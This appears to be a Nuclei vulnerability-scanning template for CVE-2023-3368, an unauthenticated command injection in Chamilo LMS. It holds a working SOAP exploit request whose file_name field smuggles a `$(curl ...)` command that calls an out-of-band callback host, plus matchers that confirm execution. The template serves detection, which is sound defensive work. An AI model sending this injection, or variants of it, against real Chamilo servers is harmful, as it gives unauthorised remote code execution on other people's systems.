79 lines
3.0 KiB
YAML
79 lines
3.0 KiB
YAML
id: CVE-2023-3368
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info:
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name: Chamilo LMS <= v1.11.20 Unauthenticated Command Injection
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author: dwisiswant0
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severity: critical
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description: |
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Command injection in `/main/webservices/additional_webservices.php`
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in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to obtain
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remote code execution via improper neutralisation of special characters.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2023-3368
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- https://starlabs.sg/advisories/23/23-3368/
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- https://support.chamilo.org/projects/chamilo-18/wiki/security_issues#Issue-121-2023-07-05-Critical-impact-High-risk-Unauthenticated-Command-Injection-CVE-2023-3368
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- https://github.com/chamilo/chamilo-lms/commit/37be9ce7243a30259047dd4517c48ff8b21d657a
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- https://https://github.com/chamilo/chamilo-lms/commit/4c69b294f927db62092e01b70ac9bd6e32d5b48b
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-3368
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cwe-id: CWE-78
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epss-score: 0.76057
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epss-percentile: 0.97911
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cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
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metadata:
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verified: "true"
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max-request: 1
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vendor: chamilo
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product: chamilo
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shodan-query: http.component:"Chamilo"
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tags: cve2023,cve,chamilo,unauth,cmd,rce
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http:
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- method: POST
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path:
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- "{{BaseURL}}/main/webservices/additional_webservices.php"
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headers:
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Content-Type: application/xml
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body: |
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<?xml version="1.0" encoding="UTF-8"?>
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{BaseURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
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<SOAP-ENV:Body>
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<ns1:wsConvertPpt>
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<param0 xsi:type="ns2:Map">
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<item>
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<key xsi:type="xsd:string">file_data</key>
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<value xsi:type="xsd:string"></value>
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</item>
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<item>
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<key xsi:type="xsd:string">file_name</key>
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<value xsi:type="xsd:string">$(curl http://{{interactsh-url}}/)</value>
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</item>
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<item>
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<key xsi:type="xsd:string">service_ppt2lp_size</key>
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<value xsi:type="xsd:string">720x540</value>
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</item>
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</param0>
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</ns1:wsConvertPpt>
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</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "wsConvertPptResponse"
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part: body
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 490a004630440220045df4ec7bd54f950a3e0c12515456f864f6b6b0c5157bf1926e6f7a8e0759ef02203aed940f4a3d5004abd9ab1a98f0acba93578c711cb452f66bc908ae41ee4bcc:922c64590222798bb761d5b6d8e72950 |